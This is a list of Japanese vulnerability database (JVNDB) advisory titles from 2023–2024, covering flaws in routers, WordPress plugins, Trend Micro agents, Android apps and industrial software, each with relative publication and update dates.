jvndb-2024-014918 Authentication Bypass Vulnerability in Hitachi Infrastructure Analytics Advisor and Hitachi Ops Center Analyzer 2 months ago 2 months ago
jvndb-2024-000128 Multiple vulnerabilities in SHARP routers 2 months ago 2 months ago
jvndb-2024-000127 "Shonen Jump+" App for Android fails to restrict custom URL schemes properly 2 months ago 2 months ago
jvndb-2024-014825 WordPress Plugin "My WP Customize Admin/Frontend" vulnerable to cross-site scripting 2 months ago 2 months ago
jvndb-2024-014793 Multiple vulnerabilities in FXC AE1021 and AE1021PE 2 months ago 2 months ago
jvndb-2024-014079 Trend Micro Deep Security Agent for Windows and Deep Security Notifier on DSVA vulnerable to OS command injection 2 months ago 2 months ago
jvndb-2023-000085 "Skylark" App fails to restrict custom URL schemes properly 1 year ago 2 months ago
jvndb-2024-000124 Multiple vulnerabilities in UNIVERGE IX/IX-R/IX-V series routers 2 months ago 2 months ago
jvndb-2024-000123 Multiple FCNT Android devices vulnerable to authentication bypass 2 months ago 2 months ago
jvndb-2024-013702 Multiple vulnerabilities in FUJI ELECTRIC products 2 months ago 2 months ago
jvndb-2024-002831 ELECOM wireless LAN routers vulnerable to OS command injection 11 months ago 2 months ago
jvndb-2024-000122 HAProxy vulnerable to HTTP request/response smuggling 2 months ago 2 months ago
jvndb-2024-003025 Multiple vulnerabilities in ELECOM wireless LAN routers 10 months ago 2 months ago
jvndb-2024-012461 Multiple vulnerabilities in SoftBank Mesh Wi-Fi router RP562B 3 months ago 2 months ago
jvndb-2024-000020 Multiple vulnerabilities in ELECOM wireless LAN routers and wireless LAN repeater 11 months ago 2 months ago
jvndb-2024-000088 Multiple vulnerabilities in ELECOM wireless LAN routers and access points 5 months ago 2 months ago
jvndb-2024-000121 WordPress Plugin "WP Admin UI Customize" vulnerable to cross-site scripting 2 months ago 2 months ago
jvndb-2024-013260 Multiple vulnerabilities in Edgecross Basic Software for Windows 2 months ago 2 months ago
jvndb-2024-000106 Multiple vulnerabilities in AIPHONE IX SYSTEM, IXG SYSTEM, and System Support Software 3 months ago 2 months ago
jvndb-2024-000120 "Kura Sushi Official App Produced by EPARK" for Android uses a hard-coded cryptographic key 2 months ago 2 months ago
jvndb-2024-000119 Multiple vulnerabilities in FitNesse 3 months ago 2 months ago
jvndb-2024-012941 Multiple vulnerabilities in Rakuten Turbo 5G 3 months ago 3 months ago
jvndb-2024-000118 WordPress Plugin "VK All in One Expansion Unit" vulnerable to cross-site scripting 3 months ago 3 months ago
jvndb-2024-009481 Insecure initial password configuration issue in SEIKO EPSON Web Config 4 months ago 3 months ago
jvndb-2024-000109 baserCMS plugin "BurgerEditor" vulnerable to directory listing 4 months ago 3 months ago
jvndb-2024-012017 Trend Micro Deep Security 20 Agent for Windows vulnerable to improper access control 3 months ago 3 months ago
jvndb-2024-011833 Incorrect authorization vulnerability in OMRON Sysmac Studio 3 months ago 3 months ago
jvndb-2024-011747 Command injection vulnerability in Trend Micro Cloud Edge 3 months ago 3 months ago
jvndb-2024-011744 REST-APIs unintentionally enabled in Century Systems FutureNet NXR series routers 3 months ago 3 months ago